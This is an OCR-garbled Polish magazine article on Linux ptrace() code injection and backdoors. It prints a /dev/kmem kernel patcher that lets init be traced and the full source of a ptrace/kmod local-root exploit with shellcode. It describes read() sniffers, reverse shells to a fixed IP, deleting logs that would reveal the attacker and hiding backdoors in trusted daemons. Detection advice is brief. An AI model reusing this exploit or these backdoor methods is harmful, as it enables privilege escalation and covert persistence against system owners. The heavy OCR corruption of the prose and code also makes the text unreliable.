/* get system_call() address */

read_kmem( idt + ( 0x80 << 3 ), buffer, 8 );

int80 = ( *(unsigned short *)( buffer + 6 ) << 16 )

+ *(unsigned short *)( buffer );

/* get system_call_table address */

read_kmem( int80, buffer, BUFSIZE );

ifC ! ( p = memmem( buffer, BUFSIZE, "\xFF\x14\x85", 3 ) ) )
{

fprintf( stderr, "fatal: can"t locate sys_call_table\n" );
return( 18 );

}

sct = *(int *)( p + 3 );

printf( " . sct @ Ox%08X\n", sct );

/* get sys_ptrace() address and patch it */

read_kmem( (off_t) ( p + 3 - buffer + syscall ), buffer, 4 );
read_kmem( sct + _ NR_ptrace * 4, (void *) é&ptrace, 4 );
read_kmem( ptrace, buffer, BUFSIZE );

ifC ( p = memmem( buffer, BUFSIZE, "\x83\xFE\x10", 3 ) ) )

{
p-=7;
C:*p/\l;

kmode = *p & 1;

gcc_ver = GCC_295;

}

else

{

ifC ( p = memmem( buffer, BUFSIZE, "\x83\xFB\x10", 3 ) ) )
{

p-=2;

C:*p/\4;

kmode = *p & 4;

gcc_ver = GCC_3XX;

}

else

{

fprintf( stderr, "fatal: can"t ynd patch 1 address\n" );
return( 19 );

}

}

write_kmem( p - buffer + ptrace, &c, 1 );

printf( " . kpl @ Ox%08X\n", p - buffer + ptrace );
/* get ptrace_attach() address and patch it */

if( gcc_ver == GCC_3XX )

{

p += 5;

ptrace += *(int *)( p+2 ) + p + 6 - buffer;
read_kmem( ptrace, buffer, BUFSIZE );

p = buffer;

}

ifC! ( p=memchr( p, OXE8, 24 ) ) )
{

fprintf( stderr, "fatal: can"t locate ptrace_attach\n" );
return( 20 );

}

ptrace += *(int *)( p+ 1) + p + 5 - buffer;

read_kmem( ptrace, buffer, BUFSIZE );

ifC ! ( p = memmem( buffer, BUFSIZE, "\x83\x79\x7C", 3 ) ) )
{

fprintf( stderr, "fatal: can"t ynd patch 2 address\n" );
return( 21 );

}

c = (! kmode );

write_kmem( p + 3 - buffer + ptrace, &c, 1 );
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potem podiNczyl do niego i wy-
sial jakieS dane, Ueby wymusil
zawofjanie podmienionego read();

A nastfipnym wywoijaniem bidzie
mmap(Q), kt-re przydzieli pamifil.
Pobierz wartoST zwr-conN i ulyj
jej W injectQ.

A injectQ jest prostN funkcjN wstrzy-
kiwania ptrace(). Majy przykijad,
czego potrzeba do infect _ code()
po podiNczeniu sifi do procesu,
pokazano na Listingu 5.

Teraz moUemy implementowal furtki
niemal nieograniczonego rozmiaru,
molUemy zatem wstrzykiwal znacz-
nie bardziej zaawansowany kod do
procesu.

Co moUemy

Co molemy zrobil uzbrojeni w tN
wiedzn? W sumie jest to to samo, co
standardowe nadpisywanie funkcji
(jeSli jeste$ jul z tym oswojony), tak
jak ulywaliSmy ptrace() do nadpisa-
nia i wstrzykiwania kodu. Popaprzmy
na parfi podstawowych moUliwoSci:

A zmiana wartoSci zwracanej, np.
udawane wiadomoSci z loga itp.;

A usuwanie plik-w (wiadomoSci z
loga), kt-re mogiyby odkryl IP
atakujNcego itd.;

A ukrywanie plik-w, np. wirus-w
i robak-w, czy zaszyfrowanych
wiadomoSci w procesie;

A nasjuchiwanie (snifowanie) lub
logowanie komunikacji;

A uruchamianie powijoki do poiN-
czenia lub {Nczenie sii w drugN
stronn;

A przejmowanie sesji;

A zmienianie znacznik-w czasu lub
sum md>5.

Jak widal, mamy do dyspozycji caiy
wachlarz metod stawiania furtek. Co
walne, moUesz kontrolowal cajN ko-
munikacjii procesu, a nawet dokjad-
nie cajy przepiyw wykonania. MolUesz
dodawal nowe funkcje do niego, lub
usuwal niekt-re (jak funkcje logujN-
ce) i moUesz tel wstawial niewidzial-
ne furtki. Admini zwykle ufajN swoim
daemonom, wific jeSli zainfekujesz
named, jest dula szansa, Ue nikt tego
nie namierzy, jeSli nie otworzysz no-




Pisanie wjasnych furtek

wego portu. Po prostu pozostawimy Listing 8c. Gata na jNdro umoUliwiajNca ptrace() na init
powjokn na naszym terminalu, Ueby
Zapoblec gatwemu Wykryc|u Zresth’ printf( " . kp2 @ O0x%08X\n", p + 3 - buffer + ptrace );

/* success */
ifC ¢ ) printf( " - kernel unpatched\n” );
else printf( " + kernel patched\n" );

p - Tniej biidzie o tym wirice;.

ObjaSﬁienia close( kmem_fd );
dor- UnyCh furtek return( 0 );
Mamy do dyspozycji wiele moUliwych b

furtek, ale chyba nie znasz chyba
wszystkich? Zaginbmy sin w szczeg- -
iy. Pokaln parfi zrzut-w ekranu r-0-
nych pasolyt-w w akcji i wyjaSnin, o
co tam chodzi, Ueby przedstawil lep-
szy obraz tego, co sifi tam dzieje.

Zwykle nie molesz sifi podiNczyl
do procesu init przez ptrace(). Jed-
nak odpowiednim trikiem moUemy
proces init uczynil molliwym do
Sledzenia i w ten spos-b zainfeko-
wal go pasolytem. RzuImy okiem
na wywojanie systemowe ptrace()
(sys _ ptrace), znajdujNce sifi w arch/
i386/kernel/ptrace.c:

ret = -EPERM;
if (pid = 1)
/* you may not mess with init */
goto out_tsk;
if (request == PTRACE_ATTACH)
{ Figure 3. Testowanie infekcji
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Listing 9a. Linux kernel ptrace()/kmod local root exploit

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal .h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"\x90\x90\xeb\x1\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0TF\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\x FA\xFA\XFf";
#deyne CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy (buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal ("[-] Unable to read /proc/self/exe™);
len += CODE_SIZE + 1;
buf[len] = "\0";
src = (unsigned long*) buf;
for (i =0; 1 <len; i +=4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal ("[-] Unable to write shellcode™);
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
fatal ("[-] Unable to read registers');
fprintf(stderr, "[+] Shellcode placed at 0x%08Ix\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal ("[-] Unable to detach from victim™);
exit(0);
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ret = ptrace_attach(child);
goto out_tsk;

Christophe Devine napisaj majy pro-
gram, kt-ry jest rozprowadzany na li-
cencji publicznej GNU, do zajatania
iNdra w czasie wykonywania, Ueby
moUna byjo Sledzil init. ZaiNczam
ten kod (patrz Listingi 8). Teraz po
zajataniu tN metodN /dev/kmem, moU-
na zainfekowal proces init. Jednak
po zainfekowaniu, init nie bridzie sin
jul znajdowaj na szczycie procesu
i przez to moUe ujawnil, Ue system
zostaj naruszony.

Snifer do read()

Wystarczy teorii, skupmy sifi teraz
na konstrukcji sniffera read(). Po
prostu wstrzykniemy instrukcje pa-
solyta w segment kodu, nadpisujNc
tym samym globalny offset funkciji
read() tak, aby wskazywaja na nasz
kod. Jego wykonanie bndzie imito-
wajo funkcji read() z uzupejnieniem
o logowanie wszystkiego do okreSlo-
nego pliku. Kod jest wart witicej nil
sjowa, winc zacznijmy. Na poczNtek
sp-jrzmy na nasz kod zastnpczy: (Li-
sting 6)

IstotnN rzeczN, kt-rN w tym miej-
scu trzeba odnotowal, pozwalajNcN
uniknNT miiczNcej sesji z debuge-
rem, jest to, ill r-Une wersje gcc trak-
tujN wywoianie inline asm() inaczej.
W zwiNzku z tym, nawet jeSli powyU-
sze wywoianie dziaja na niekt-rych
wersjach gcc, na nowszych jul nie-
koniecznie. Aby temu zaradzil po-
stNpimy tak jak w pierwszym przyto-
czonym przykjadzie:

asm("movl $1, %eax\n"
"movl $123, %ebx\n"
"int $0x80\n™);

Nasz kod zastfipczy jest gotowy.
To podstawa naszej furtki, paso-
Uyt. Przejd¥my teraz do potrzebnych
funkcji. Komentarze prezentujii po-
wyUej funkgji:

Furtka przez dup2()

No c-U, ta furtka jest cajkiem nie-
widzialna i netstat jej nie pokazu-
je. OczywiScie nie korzystamy z
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Listing 9b. Eksploit na lokalnego roota do ptrace()/kmod jNdra Linuksa

}
void sigalrm(int signo)
{

errno = ECANCELED;

fatal (""[-] Fatal error™);
}void do_child(void)
{

int err;

child = getpid();

victim = child + 1;
signal (SIGCHLD, sigchld);

do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);

if (err == -1)

fatal (""[-] Unable to attach™);
fprintf(stderr, "[+] Attached to %d\n", victim);
while (lgotchild) ;

if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal (""[-] Unable to setup syscall trace™);
fprintf(stderr, "[+] Waiting for signal\n");
for(;;);
}
void do_parent(char * progname)
{

struct stat st;

int err;

errno = 0;

socket(AF_SECURITY, SOCK_STREAM, 1);

do {

err = stat(progname, &st);

} while (err == 0 && (st.st_mode & S_ISUID) = S_ISUID);
if (err == -1)

fatal (""[-] Unable to stat myself");
alarm(0);

system(progname) ;
}
void prepare(void)
{

if (geteuid() == 0) {

initgroups(“'root”, 0);

setgid(0);

setuid(0);

execl (_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal (""[-] Unable to spawn shell™);

}
}

int main(int argc, char ** argv)
{

prepare();

signal (SIGALRM, sigalrm);

alarm(10);

parent = getpid();

child = fork(Q);

victim = child + 1;

if (child == -1)

fatal (""[-] Unable to fork™);

if (child == 0)

do_child();

else

do_parent(argv[0]);

return 0;

}

gniazd, w zwiNzku z czym musimy
napisal wjasnN implementacje po-
wijoki. Trzeba przy tym pamifital,
w jaki spos-b dziaja powjoka wiN-
UNca. Duplikuje (ulywajNc dup2) de-
skryptory, stdout/in/err by podpiNT
je pod gniazdko tak, aby nasza po-
wjoka pokazaja sifi po wjaSciwej
stronie, a nie na serwerze. Nasz
kod nie ulywa gniazd, w zwiNzku z
czym jest niewidzialny dla zwykie-
go admina. Wstrzykiwany kod moUe
uzyskal dostiip do wszystkich da-
nych procesu, w tym deskryptor-w.
Gdy iNczymy sif ze zdalnN usjugN,
wywojywany jest fork() a nastrnip-
nie accept(), wific alokowane sN no-
we deskryptory, do kt-rych chcemy
uzyskal dostfip.

Jest kilka na to sposob-w: | mo-
Uemy nadpisal accept() naszN wia-
snN implementacjN, kt-ra zapisze
zwracane wartoSci do jakiegoS$ pliku,
z kt-rego biidzie moUna je odczytal.
Jest to lepsze nil poprzednio, lecz
nie idealne wyScie.

| moUemy ulyT procfs, informa-
cja o stanie ulywanych deskrypto-
r-w jest w /proc/ _ pid _/fd. Po pro-
stu wygrepuj ostatni deskryptor. Ten
wariant nie jest jednak w pejni zado-
walajNcy, gdyU jego realizacja zajmie
z byt dullo miejsca. R-wniel procfs
moUe byl niedostiipny w niekt-rych
systemach.

| metoda dup2. Nie zajmuje do-
datkowego miejsca, lecz praw-
dopodobnie nie jest uniwersalna.
Zwykle proces ma stajN iloST uly-
wanych deskryptor-w i moUemy
je wykryl ulywajNc strace. Ma-
iy przykiad z Netstat: $nc -lp 1111.
czytamy pid, a nastipnie wykonu-
jemy strace -p. Z kolei po komen-
dzie telnet localhost 1111 odczytu-
jemy zwracanN wartoST z accept(),
kt-ra z regujy jest 3 bNd¥ 4 w wirik-
szoSci przypadk - w.

PoijNczenie zwrotne

Zwykle chcemy odpalil powjok
wiNONcN, lecz co zrobil w sytuaciji,
gdy yrewall blokuje port? RozwiNza-
niem jest poiNczenie wychodzNce.
Z reguiy wszystkie tego typu poiN-
czenia sN dozwolone, lecz czasami
istnieje ograniczenie do kilku do-
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zwolonych port-w. W tym wypad-
ku molUna sprawdzil DNS (port
53), WWW (port 80) lub FTP (port
21) itd. Ostatnim pozostajNcym ele-
mentem bndzie stworzenie kodu
zastiipczego do poijNczenia zwrot-
nego, a przy technikach, kt-re by-
iy prezentowane nie powinno sta-
nowil to problemu. Na poczNtek
sugerujii ulyl stajej wartoSci dla
adresu IP takiej jak #deyne CB_IP
127.0.0.1 a nastipnie po prostu wy-
konal connect() i Odpalil' /bin/sh

Po cajej tej teorii przyszedj czas na
jakiS rzeczywisty dziajajNcy kod, zga-
dza sin? No to do roboty. Na sche-
macie 1 widal SciNganie wstrzykiwa-
cza ptrace(), zwanego malaria, do-
stiipnego w internecie.

Odpalmy Netcat w tle. Biidzie
stanowij on nasz cel, kt-ry staramy
sifi zainfekowal. Schemat 2 pokazu-
je spos-b infekcji procesu.

Teraz, gdy nasz kod powijoko-
wy jest wezytany do pamifici, molUe-
my dostrzec na ostatnim ekranie no-
wy nasjuchujNcy port TCP. Gdy sifn
z nim poiNczymy uzyskamy powio-
kn roota!

Byi to przykiad prostego wstrzy-
kiwacza z Internetu. IstniejN jednak
bardziej zaawansowane wersje {a-
twe do znalezienia, wiec jeSIi chcesz
znale¥l i przetestowal coS wificej,
sugeruji przeszukanie Googlefa.

Zanim  zaprezentujemy  sSpos-b
ochrony przed tego typu ataka-
mi, najpierw musimy zapoznal sifi
ze sposobem detekcji tego typu in-
fekcji. Najlepszym na to sposobem
jest por-wnanie adres-w z Global-
nej Tablicy Przesunifil. MoUna r-w-
niel napisal Ikm, kt-re limituje wy-
konanie ptrace() do root-a, gdyU jeSli
atakujNcy posiada juz prawa root-a,
nie ma sifi jul co martwil o to, jakiej
furtki ulywa, ale moUna sifi dowie-
dziel, jak uzyskaj do niej dostiip, a
nastripnie czeka cif reinstalacja. Ta-
kie Ikm-y istniejN od lat i nie powinno
byl trudno je znale¥T.
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W Sieci

wstrzykujNcego przez ptrace(),

A http://publib16.boulder.ibm.com/pseries/en_US/libs/basetrfl/ptrace.htm - techni-
cal Reference: Base Operating System and Extensions, Volume 1,
A http://www.phrack.com/phrack/59/p59-0x0c.txt T budowanie kodu powjokowego

A http://www.die.net/doc/linux/man/man2/ptrace.2.html T man 2 ptrace().

2.4.x kernel patcher pozwala na
ptrace-owanie w procesie init (Co-
pyright (c) 2003 Christophe Devine
devine@iie.cnam.fr). Jest to dar-
mowy program, kt-ry molesz re-
dystrybuowal i modyykowal w ra-
mach licencji GNU (General Public
License) opublikowanej przez Free
Software Fundation w wersji dru-
giej lub p-Fniejszej. Program ten
jest ulyteczny, lecz nie daje Uad-
nych gwarancji, w tym gwarancji
handlowej, ani sprawdzania sin w
okreSlonym zastosowaniu. Odsyja-
my do GNU General Public Licen-
se po wincej szczeg-{-w. Powinie-
ne$ otrzymal kopifi GNU General
Public License wraz z tym progra-
mem, jeSli nie, moUesz napisal do
Free Software Fundation, Inc., 59
Temple Place, Suite 330, Boston,
MA 02111-1307 USA.

Eksploit na lokalnego roota do
ptrace()/kmod jNdra Linuksa. Ten
kod wykorzystuje sytuacjii wySci-
gu W kernel/kmod.c, kt-ry tworzy
wNtek w spos-b naralajcy bez-
pieczeEstwo. Ta dziura pozwala na
ptrace() W sklonowanym procesie,
dajNc moUliwoST uzyskania kontro-
li nad uprzywilejowanym plikiem bi-
narnym modprobe. Powinno dzia-
jal pod kaldym jNdrem 2.2.x i 2.4.x.
Odkryjem ten giupi biNd niezaleUnie
25 stycznia 2003, tzn. (prawie) dwa
miesiNce przed poprawkN i jej opubli-
kowaniem przez Red Hata i innych.
Wojciech PurczyEski cliph@isec.pl.
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TEN PROGRAM JEST WYGHCZ-
NIE DO CELEW EDUKACYJNYCH
| JEST DOSTARCZONY W TAKIEJ
POSTACI BEZ £ADNEJ GWARAN-
CJI ((c) 2003 Copyright by iISEC Se-
curity Research).

Podsumowanie

No dobrze, nauczyliSmy sifi niezjych
sposob-w na manipulowanie cho-
dzNcymi programami w pamifici. Da-
je nam to wiele moUliwoSci zmienia-
nia przepjywu wykonania w taki spo-
s-b, Ue moUemy cajkowicie kontrolo-
wal program.

Zaj-Umy, Ue mamy Daemona
O Zamknintych tr-djach, kt-ry nie
ma wystarczajNcych element-w lo-
gujNcych, a plik z logiem jest mocno
uproszczony, ale my chcemy wincej
informacji! Normalnie to trzeba by
z tym Oyl, albo zaUNdal poprawek
od dostawcy. Teraz molUesz sobie to
sam uproScil!

Piszesz drobny wstrzykiwacz
ptrace(), kt-ry zamienia funkcje lo-
gujNce na twoje, albo po prostu lo-
gujesz wszystko poprzez podpina-
nie sin pod read()/write() czy po-
dobnych.

Zwykle ta wiedza jest wykorzy-
stywana przez testery penetracji z
powiokN z wstrzykiwaczem ptrace()
do wjamania sin na chroot, albo ha-
ker -w do furtkowania binari-w, ale ta
wiedza daje ci tel winikszN elastycz-
noST w pracy administratorskiej przy
pracy z oprogramowaniem zamknin-
tym.
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